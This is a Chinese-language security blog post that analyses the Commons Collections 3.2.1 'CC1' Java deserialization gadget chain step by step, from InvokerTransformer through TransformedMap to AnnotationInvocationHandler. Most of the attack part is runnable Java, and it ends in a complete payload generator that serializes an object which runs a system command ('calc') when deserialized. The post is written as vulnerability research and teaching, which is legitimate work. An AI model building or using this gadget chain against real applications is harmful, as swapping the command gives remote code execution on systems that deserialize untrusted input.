LOADING

加载过慢请开启缓存 浏览器默认开启

CC1分析

2024/8/19 Java

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。

环境搭建

CC1存在于JDK_8u65的版本,官网的8U65安装后貌似版本不正确,JDK8U65下载地址:https://www.123pan.com/s/xPY9-IzlvH
密码8899

JDK有些文件是反编译出来的class文件,无法调试,需要引用源文件

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载后把压缩包的src\share\classes目录的sun放到JDK的src目录

image

IDEA引用源文件

image-1708442156038

创建一个项目,导入依赖

image-1708442205636

    <dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

利用链分析

入口是在org.apache.commons.collections.functors.InvokerTransformer#transform

InvokerTransformer的构造方法传递的参数都是可控的

transform()方法接收了任意方法,并且进行了反射调用

image-1708442297308
并且实现了Serializable接口
image-1708442307384

尝试使用transform()方法进行调用

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Test1 {

    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

image-1708442319840

接下来找利用链,看看那个方法调用了transform()

image-1708442329160

找到了TransformedMap类下的checkSetValue()方法,权限是protected无法直接创建对象来获得关系

image-1708442342773

TransformedMap类的构造方法也是protected权限,只能通过内部调用,并且valueTransformer值是可控的,可以传参InvokerTransformer来调用InvokerTransformer的transform()方法

image-1708442352383

在这个类找到了静态方法docorate方法,实例化了TransformedMap类

image-1708442360530

再看一下哪里调用了checkSetValue()方法

image-1708442371817

看到org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue调用了checkSetValue()方法

image-1708442380081

看一下继承的父类

image-1708442388311

跟进一下实现的接口,看到了setvalue方法

image-1708442396951

回到AbstractInputCheckedMapDecorator.MapEntry#setValue,发现是重写了Map的setValue方法,可以通过遍历Map的方式去调用setValue–>checkSetValue–>transform

测试代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Test1 {

    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
//        InvokerTransformer transform =  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
        InvokerTransformer transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object,Object> map = new HashMap();
        map.put("key","value");
        Map<Object,Object> transformap = TransformedMap.decorate(map, null, transform);

        for (Map.Entry entry:transformap.entrySet()){
            entry.setValue(r);

        }
    }
}

image-1708442408781

再找一下哪里调用了setValue方法,最好是在readobject方法内

image-1708442416288

在AnnotationInvocationHandler中的readObject方法中调用了,并且还实现了Map的遍历

image-1708442423044

需要保证memberValues和setValue里面的值可控,在构造方法看到memberValues的值可控

但是这个类不是公开的类,不能直接调用,这个问题可以通过反射来调用

image-1708442430117

反射调用

        Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Override.class, transformap);
        serialize(o);
        unserialize("ser.bin");

问题一

由于需要进行序列化,而Runtime没有实现Serializable接口无法被序列化,但是Class是可以被序列化的,可以通过反射把getRuntime反射出来

        Class<Runtime> runtimeClass = Runtime.class;
        Method getRuntime = runtimeClass.getMethod("getRuntime", null);
        Runtime getruntimeinvoke = (Runtime) getRuntime.invoke(null, null);
        Method exec = runtimeClass.getMethod("exec", String.class);
        exec.invoke(getruntimeinvoke,"calc");

使用InvokerTransformer进行实现,同时使用ChainedTransfomer进行代码优化

Transformer[] transform1 = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
//chainedTransformer.transform(Runtime.class);

问题二

调试代码发现readObject里面进行了判断,name为传进来的map传进来的第一个值,memberType为获取成员变量中的名称,所以需要传递一个有变量成员的注解,key值于成员变量名称一致

image-1708442444238

Target存在成员变量

image-1708442449942

修改一下

image-1708442455155

调试,满足条件,进入了判断里面

image-1708442465384

问题三

继续跟进发现setValue传递的是AnnotationTypeMismatchExceptionProxy对象,而不是我们准备的Runtime.class

image-1708442473481

这里需要ConstantTransformer这个类,它里面也实现了transform方法,配合构造方法,实例化这个对象,然后调用transform方法,无论transform方法传递什么对象都会返回实例化对象传递的对象

image-1708442481016

最终代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test1 {

    public static void main(String[] args) throws Exception{
//        Runtime r = Runtime.getRuntime();
//
//        Class<Runtime> runtimeClass = Runtime.class;
//        Method getRuntime = runtimeClass.getMethod("getRuntime", null);
//        Runtime getruntimeinvoke = (Runtime) getRuntime.invoke(null, null);
//        Method exec = runtimeClass.getMethod("exec", String.class);
//        exec.invoke(getruntimeinvoke,"calc");


//        InvokerTransformer transform =  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//        InvokerTransformer transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Transformer[] transform1 = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object,Object> map = new HashMap();
        map.put("value","value");
        Map<Object,Object> transformap = TransformedMap.decorate(map, null, chainedTransformer);

//        for (Map.Entry entry:transformap.entrySet()){
//            entry.setValue(r);
//
//        }

        Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, transformap);
        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }
}

image-1708442491657